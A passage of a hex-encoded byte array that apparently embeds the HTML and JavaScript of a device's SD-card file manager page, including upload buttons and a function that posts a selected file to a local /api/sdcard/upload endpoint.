0x6F, 0x6F, 0x73, 0x65, 0x20, 0x46, 0x69, + 0x6C, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, + 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, + 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, + 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x6C, 0x65, + 0x63, 0x74, 0x20, 0x61, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x74, 0x6F, + 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x74, + 0x68, 0x65, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x66, + 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, + 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x2E, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, + 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, + 0x61, 0x70, 0x70, 0x65, 0x72, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x75, + 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2D, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, + 0x61, 0x6D, 0x65, 0x22, 0x3E, 0x4E, 0x6F, 0x20, 0x66, 0x69, 0x6C, 0x65, + 0x73, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x65, 0x64, 0x3C, 0x2F, + 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x3D, 0x22, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x22, 0x20, 0x6F, 0x6E, 0x63, + 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, 0x61, 0x72, + 0x64, 0x2D, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x27, 0x29, 0x2E, 0x63, + 0x6C, 0x69, 0x63, 0x6B, 0x28, 0x29, 0x22, 0x3E, 0x55, 0x70, 0x6C, 0x6F, + 0x61, 0x64, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, + 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x20, + 0x69, 0x64, 0x3D, 0x22, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x75, + 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x22, 0x20, 0x61, 0x63, 0x63, 0x65, 0x70, + 0x74, 0x3D, 0x22, 0x2A, 0x2F, 0x2A, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x68, + 0x61, 0x6E, 0x67, 0x65, 0x3D, 0x22, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, + 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, + 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x75, 0x70, 0x6C, 0x6F, 0x61, + 0x64, 0x2D, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x27, + 0x29, 0x2E, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x54, 0x65, 0x78, 0x74, 0x20, + 0x3D, 0x20, 0x74, 0x68, 0x69, 0x73, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x73, + 0x5B, 0x30, 0x5D, 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, + 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, + 0x22, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x28, + 0x29, 0x22, 0x3E, 0x55, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x3C, 0x2F, 0x62, + 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, + 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, + 0x2D, 0x2D, 0x20, 0x4A, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, + 0x74, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x61, + 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, + 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6C, 0x65, 0x74, 0x20, 0x73, 0x64, 0x43, 0x61, 0x72, 0x64, 0x44, + 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x74, + 0x6F, 0x72, 0x65, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x65, 0x6E, 0x74, + 0x69, 0x72, 0x65, 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, + 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, 0x6E, + 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, + 0x63, 0x6B, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2F, 0x20, 0x4B, 0x65, 0x65, 0x70, 0x73, 0x20, 0x74, 0x72, + 0x61, 0x63, 0x6B, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6E, + 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x70, 0x61, + 0x74, 0x68, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x61, 0x73, 0x79, 0x6E, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x46, + 0x69, 0x6C, 0x65, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, + 0x73, 0x74, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x49, 0x6E, 0x70, 0x75, 0x74, + 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, + 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, + 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x75, + 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x3D, 0x20, 0x66, + 0x69, 0x6C, 0x65, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x66, 0x69, 0x6C, + 0x65, 0x73, 0x5B, 0x30, 0x5D, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, + 0x20, 0x28, 0x21, 0x66, 0x69, 0x6C, 0x65, 0x29, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, + 0x20, 0x61, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x75, + 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, + 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x6E, 0x65, + 0x77, 0x20, 0x46, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x2E, + 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x27, 0x66, 0x69, 0x6C, 0x65, + 0x27, 0x2C, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2F, 0x20, 0x44, 0x65, 0x74, 0x65, 0x72, 0x6D, 0x69, 0x6E, + 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, + 0x20, 0x70, 0x61, 0x74, 0x68, 0x20, 0x62, 0x61, 0x73, 0x65, 0x64, 0x20, + 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6E, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x3D, 0x20, 0x67, + 0x65, 0x74, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x46, 0x6F, 0x6C, + 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x20, + 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x20, 0x3D, + 0x20, 0x27, 0x2F, 0x6D, 0x6E, 0x74, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, + 0x20, 0x28, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x69, 0x6F, 0x6E, + 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, + 0x20, 0x3E, 0x20, 0x31, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x61, 0x74, 0x68, 0x50, + 0x61, 0x72, 0x74, 0x73, 0x20, 0x3D, 0x20, 0x6E, 0x61, 0x76, 0x69, 0x67, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x2E, 0x73, + 0x6C, 0x69, 0x63, 0x65, 0x28, 0x31, 0x29, 0x2E, 0x6D, 0x61, 0x70, 0x28, + 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x66, 0x6F, + 0x6C, 0x64, 0x65, 0x72, 0x2E, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, + 0x61, 0x74, 0x68, 0x20, 0x3D, 0x20, 0x70, 0x61, 0x74, 0x68, 0x2E, 0x6A, + 0x6F, 0x69, 0x6E, 0x28, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, + 0x74, 0x68, 0x2C, 0x20, 0x2E, 0x2E, 0x2E, 0x70, 0x61, 0x74, 0x68, 0x50, + 0x61, 0x72, 0x74, 0x73, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x66, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x2E, 0x61, 0x70, + 0x70, 0x65, 0x6E, 0x64, 0x28, 0x27, 0x70, 0x61, 0x74, 0x68, 0x27, 0x2C, + 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x50, 0x61, 0x74, 0x68, 0x29, + 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x68, 0x6F, 0x77, 0x20, + 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x74, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, + 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, + 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x27, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x27, + 0x55, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x69, + 0x6C, 0x65, 0x2E, 0x2E, 0x2E, 0x27, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, + 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, + 0x74, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, + 0x69, 0x2F, 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2F, 0x75, 0x70, 0x6C, + 0x6F, 0x61, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, + 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, + 0x66, 0x6F, 0x72, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, + 0x74, 0x20, 0x3D, 0x20, 0x61, 0x77, 0x61, 0x69, 0x74, 0x20, 0x72, 0x65, + 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, + 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, + 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, + 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x46, 0x69, 0x6C, + 0x65, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, 0x73, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, + 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, + 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x45, + 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, + 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x27, 0x46, 0x69, + 0x6C, 0x65, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x64, 0x20, + 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, + 0x2E, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x66, 0x69, 0x6C, 0x65, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x68, + 0x72, 0x6F, 0x77, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x45, 0x72, 0x72, 0x6F, + 0x72, 0x28, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x2E, 0x6D, 0x65, 0x73, + 0x73, 0x61, 0x67, 0x65, 0x20, 0x7C, 0x7C, 0x20, 0x27, 0x46, 0x61, 0x69, + 0x6C, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x70, 0x6C, 0x6F, 0x61, + 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x2E, 0x27, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, + 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, + 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, + 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x75, 0x70, 0x6C, 